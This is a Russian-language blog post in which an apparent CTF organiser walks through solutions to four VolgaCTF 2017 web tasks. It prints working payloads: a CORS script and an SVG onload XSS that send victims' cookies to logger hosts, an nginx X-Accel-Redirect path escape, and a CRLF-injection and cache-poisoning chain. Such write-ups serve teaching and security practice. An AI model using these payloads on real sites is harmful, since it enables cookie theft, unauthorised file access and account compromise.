Для участников VolgaCTF мной были подготовлены 4 задания на категорию web. В основном это были интересные идеи с рабочих проектов и bugbounty программ на client-side уязвимости.
Task 1.1 
https://task1.finals.2017.volgactf.ru/ 
https://task1.finals.2017.volgactf.ru/source.zip 
Nginx + PHP, задание с исходным кодом. Основная часть:
foreach ($_SERVER as $name => $value) { 
  if (substr($name, 0, 5) == 'HTTP_') { 
    header(str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))).': '.$value, false);
  } 
}
foreach($_GET as $name => $value) {
  if(is_string($value)) {
    header($name.': '.$value, false);
  }
}Все GET параметры и заголовки запроса попадают в заголовки HTTP ответа (включая cookie с флагом). Так как cookie с флагом httpOnly - то даже если получится сделать XSS, то она ничего не даст, так что необходимо смотреть в сторону CORS. Для решения необходимо было узнать о заголовке Access-Control-Expose-Headers и сформировать payload для кражи cookie у бота.
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://task1.finals.2017.volgactf.ru/index.php?Access-Control-Allow-Origin=null&Access-Control-Expose-Headers=Cookie&Access-Control-Allow-Credentials=true', false);
    xhr.withCredentials = true;
    xhr.send();
    if (xhr.status == 200) {
        location = 'http://logger/?'+xhr.getResponseHeader('Cookie');
    }
</script>Task 1.2 
Вторая часть задания была на server-side уязвимость в nginx. 
Флаг был в php файле на отдельном vhost. Однако, для него был следующий конфиг, который не позволял его получить.
server {
    ...
    server_name task1.finals.2017.volgactf.ru;
    root /var/www/html;
    ...
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }
    ...
}
server {
    ...
    server_name volgactf_dev;
    root /var/www/html_old;
    ...
    location ~ \.php$ {
        deny all;
    }
}Помимо обычных заголовков, которые непосредственно попадают в HTTP ответ, есть еще и специальные, влияющие на обработку ответа. В случае с PHP это заголовок Location, меняющий код ответа на 302 и заголовок HTTP/ для указания кода и статуса ответа (http://php.net/manual/ru/function.header.php). 
https://task1.finals.2017.volgactf.ru/?Location=http://google.com
https://task1.finals.2017.volgactf.ru/?HTTP/=666%20Ne%20OKВ nginx также есть специальные заголовки Status и X-Accel (https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).
https://task1.finals.2017.volgactf.ru/?Status=666+Ne+OK
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=/index.phpНаиболее интересным является X-Accel-Redirect, который обычно используется для перенаправления запроса на внутренние location (https://nginx.ru/ru/docs/http/ngx_http_core_module.html#internal). В реализации этого перенаправления есть небольшой косяк, который я обнаружил, когда тестировал Task 1.1.
root /var/www/html;
GET $URI HTTP/1.1
GET /index.php HTTP/1.1
Результат: $root$URI == /var/www/html/index.php
root /var/www/html;
X-Accel-Redirect: $URI
X-Accel-Redirect: foo/bar
Результат: $root$URI == /var/www/htmlfoo/barТак как X-Accel-Redirect в отличие от Request-URI не обязательно должен начинаться с символа /, то в результате конкатенации может произойти частичный выход за пределы текущего document root с префиксом. Так как в задании было:
root /var/www/html;
root /var/www/html_old;Обратиться к flag.php через дефолтный vhost не составляет труда:
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=_old/flag.phpTask 2 
https://task2.finals.2017.volgactf.ru/ 
https://task2.finals.2017.volgactf.ru/static/source.zip 
Nginx + Django, задание с исходным кодом.
В задании было настроено кэширование ответа /account/ в котором для администратора отображался флаг.
    location /account/ {
        uwsgi_cache_key $request_uri$cookie_sessionid;
        uwsgi_cache cache;
        uwsgi_cache_valid 200 1m;
        uwsgi_cache_use_stale error  timeout invalid_header http_500;
        uwsgi_ignore_headers Vary;
        add_header X-Cache-Status $upstream_cache_status;
        include         uwsgi_params;
        uwsgi_pass      unix:/run/uwsgi/task2.sock;
    }Ключом кэша является строка $request_uri$cookie_sessionid, где sessionid - это идентификатор сессии пользователя в Django.
В конфиге nginx также нужно было заметить уязвимое перенаправление с http на https (http://blog.volema.com/nginx-insecurities.html).
    if ($scheme != "https") {
        return 301 https://$host$uri;
    }Вместо request_uri использовалась переменная uri, значение которой проходит URL декодирование и нормализацию пути. В случае, если такая переменная попадает в заголовки HTTP ответа - это позволяет провести CRLF Injection, причем в данном случае мы уже не можем использовать заголовки X-Accel или Status. 
Протестировав кэширование ответа можно было заметить, что при запросе
GET /account/ HTTP/1.1
Host: task2.finals.2017.volgactf.ru
Cookie: sessionid=xxx; sessionid=lxum1hevzndcduszsbwbxcyekru9fpnjNginx в переменной $cookie_sessionid использует первую cookie, а Django вторую. То есть данный ответ будет закэширован с ключом /account/xxx. 
Объединив CRLF Injection и разницу обработки cookie получаем следующий payload.
http://task2.finals.2017.volgactf.ru/%0aSet-Cookie:sessionid=xxx;path=/account/;В результате: 
1. В перенаправлении с http на https будет создана cookie sessionid=xxx 
2. С / запрос будет перенаправлен на /account/, так как пользователь авторизован 
3. Cookie sessionid=xxx не перезапишет оригинальную, так как у них разный path, но в тоже время будет первой в списке, так как префикс пути у нее больше. 
4. Ответ с флагом будет закэширован с ключом /account/xxx
Получить флаг можно сделав такой запрос:
GET /acoount/xxx HTTP/1.1
или
GET /account/ HTTP/1.1
Cookie: sessionid=xxx;Task 3 
https://task3.finals.2017.volgactf.ru 
Задание на DOM Based XSS.
В зависимости от указанного параметра lang в javascript происходила загрузка нужного html файла с текстом.
loadPage('language/' + lang + '.html');При этом параметр lang разбивался на 2 части по символу _. Первая часть приводилась к lower case, вторая к upper case.
  var langSplit = lang.split('_');
  if(langSplit.length === 2) {
    var language = langSplit[0],
    countryCode = langSplit[1];
    language = language && language != language.toLowerCase() ? language.toLowerCase() : language;
    countryCode = countryCode && countryCode != countryCode.toUpperCase() ? countryCode.toUpperCase() : countryCode;
    return language + '_' + countryCode;Также для скачивания текста использовался сценарий downloadButton.php в котором можно было сделать Open Redirect.
https://task3.finals.2017.volgactf.ru/downloadButton.php?link=//www.google.com/Объединив загрузку html и open redirect можно загрузить содержимое с любого сайта, но мешает обработка параметра lang, так как необходимо указать строку в разном регистре downloadButton. Для обхода этого можно использовать URL кодирование, которое сработает независимо от регистра. Финальный payload:
https://task3.finals.2017.volgactf.ru/?lang=ru/../../download%2542utton.php?link=//site.com/xss.php?_xx
xss.php
<?php;
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control");
print('<svg/onload="location=\'https://site.com/logger/\'+document.cookie"/>');Если ваши варианты решения отличаются, было бы интересно их увидеть в комментариях. Задания будут работать еще несколько дней, бот расположен по адресу https://taskbot.finals.2017.volgactf.ru/.
 
Комментариев нет :
Отправить комментарий
Примечание. Отправлять комментарии могут только участники этого блога.